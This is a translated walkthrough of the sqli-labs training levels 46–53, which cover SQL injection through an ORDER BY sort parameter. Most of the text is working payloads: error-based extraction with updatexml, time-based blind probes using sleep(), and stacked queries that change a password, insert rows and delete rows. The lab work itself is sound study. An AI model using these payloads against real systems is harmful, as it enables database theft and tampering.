当前位置:网站首页>SQL Lab (46~53) (continuous update later) order by injection
SQL Lab (46~53) (continuous update later) order by injection
2022-07-07 12:24:00 【hcjtn】
(46~50)
sql-lab-46
As soon as you enter 46 Close the page and prompt us to use sort :
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-p8wYua6X-1643081745033)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123100744179.png)]](/img/1c/5852688983758a13b5ed98f2935bc4.jpg)
We try to use this ?sort=1 Find out :
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-7rA2s6bx-1643081745034)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123101113651.png)]](/img/50/58207e22055e98dc2f62a878f86f0b.jpg)
then ?sort=2:
?sort=3:
We found that when we use sort=1 when The table is arranged in the first column ,sort=2 when The table is arranged in the second column , sort=3 when The table is sorted in the third column . We thought about it order by function , Guess may be related to order by Function related injection .
View source code :
$sql = "SELECT * FROM users ORDER BY $id";
We found that our guess was indeed right .
Let's get to know order by Parameter injection :
order by Injection means that the following parameters are controllable ,
order by It's different from what we're doing here where Injection point after , Out of commission union Isoinjection , Then you can follow An error injection perhaps Time blind note .
Judge database name :?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-47
Principle and 46 It's the same , The difference is only closed difference
Judge database name :?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-48
Only time blind injection can be used in this level :
Use time blind injection
Resolve database name :?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-49
The same as the forty-eight level , It's just the difference in the way of closure
Resolve database name :?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-50
Enter the topic , I found that it is quite different from the previous questions , The sentences we input will still be spliced into order by Back , So try to use error injection , Discovery is indeed possible , So what's the difference between this question and the previous one ?
Let's look at the source code :
mysqli_multi_query($con1, $sql)
So this problem is stack injection and order by Injected combination
?sort=1;update users set password=‘hcjtn’ where id=14–q
?sort=1;insert into users values(50,‘50’,‘50’)-- q
(51~53)
sql-lab51
The practice is consistent with the previous question , It's just a closed difference .
Use error injection or time blind injection :
Error injection is used here :
Judge database name :?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
Then stack injection :
?sort=1’;insert into users values(21,‘02’,‘24’)-- q
sql-lab-52
The same routine, the same method , First judge the closing mode It is found that the question is not closed , Then try to use error reporting , Pop up the library name , Found to be unusable , Then we can only use time blind annotation in this topic :
Resolve database name :?sort=1’and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
Then stack injection :
?sort=1 ;delete from users where id=50 – q
sql-lab-53
First judge the closing mode , Found no closure .
Resolve database name :?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1 'and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
Then stack injection :
?sort=1’ ;delete from users where id=50 – q
边栏推荐
- Flet tutorial 17 basic introduction to card components (tutorial includes source code)
- Baidu digital person Du Xiaoxiao responded to netizens' shouts online to meet the Shanghai college entrance examination English composition
- Visual Studio 2019 (LocalDB)\MSSQLLocalDB SQL Server 2014 数据库版本为852无法打开,此服务器支持782版及更低版本
- 顶级域名有哪些?是如何分类的?
- Typescript interface inheritance
- 即刻报名|飞桨黑客马拉松第三期盛夏登场,等你挑战
- Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
- The hoisting of the upper cylinder of the steel containment of the world's first reactor "linglong-1" reactor building was successful
- Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
- 《通信软件开发与应用》课程结业报告
猜你喜欢

Learning and using vscode

About web content security policy directive some test cases specified through meta elements
![[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]](/img/90/ef2400754cbf3771535196f6822992.jpg)
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]

powershell cs-UTF-16LE编码上线

2022 8th "certification Cup" China University risk management and control ability challenge

(待会删)yyds,付费搞来的学术资源,请低调使用!

Sonar:cognitive complexity

MATLAB实现Huffman编码译码含GUI界面

Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases

Sort out the garbage collection of JVM, and don't involve high-quality things such as performance tuning for the time being
随机推荐
顶级域名有哪些?是如何分类的?
Completion report of communication software development and Application
powershell cs-UTF-16LE编码上线
关于 Web Content-Security-Policy Directive 通过 meta 元素指定的一些测试用例
Improve application security through nonce field of play integrity API
Niuke website
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
Attack and defense world ----- summary of web knowledge points
VSCode的学习使用
什么是局域网域名?如何解析?
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
Superscalar processor design yaoyongbin Chapter 10 instruction submission excerpt
解决 Server returns invalid timezone. Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
The function of adding @ before the path in C #
C#中在路径前加@的作用
Sonar:cognitive complexity
The hoisting of the upper cylinder of the steel containment of the world's first reactor "linglong-1" reactor building was successful
数据库系统原理与应用教程(011)—— 关系数据库
Tutorial on principles and applications of database system (009) -- conceptual model and data model
如何理解服装产业链及供应链